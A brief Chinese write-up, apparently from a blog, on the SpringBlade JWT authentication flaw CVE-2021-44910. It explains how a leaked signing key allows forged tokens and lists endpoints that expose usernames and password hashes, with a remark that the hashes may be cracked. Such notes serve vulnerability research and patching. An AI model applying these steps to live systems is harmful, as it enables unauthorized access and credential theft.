漏洞成因
SpringBlade前端通过webpack打包发布的，可以从其中找到app.js获取大量接口
然后直接访问接口：api/blade-log/api/list
直接搜索“请求未授权”，定位到认证文件：springblade/gateway/filter/AuthFilter.java
后面的代码审计可以参考
转载：SpringBlade框架JWT认证缺陷漏洞CVE-2021-44910-CSDN博客
大概意思就是这个认证判断有个逻辑缺陷，就是在泄露的前端pack里面对于jwt的判断认证不够严谨，并且加密的TokenConstant.SIGN_KEY也泄漏了
这样我们就能通过伪造jwt直接绕过鉴权，访问未授权的api接口
漏洞利用
api信息泄露
但是有可能会换名字，具体可以去前端webpack里找
/api/blade-log/api/list接口中会泄漏账号密码，只要管理员登录过
/api/blade-user/user-list泄露了账号密码
但是密码是加密过的，运气好可以爆开
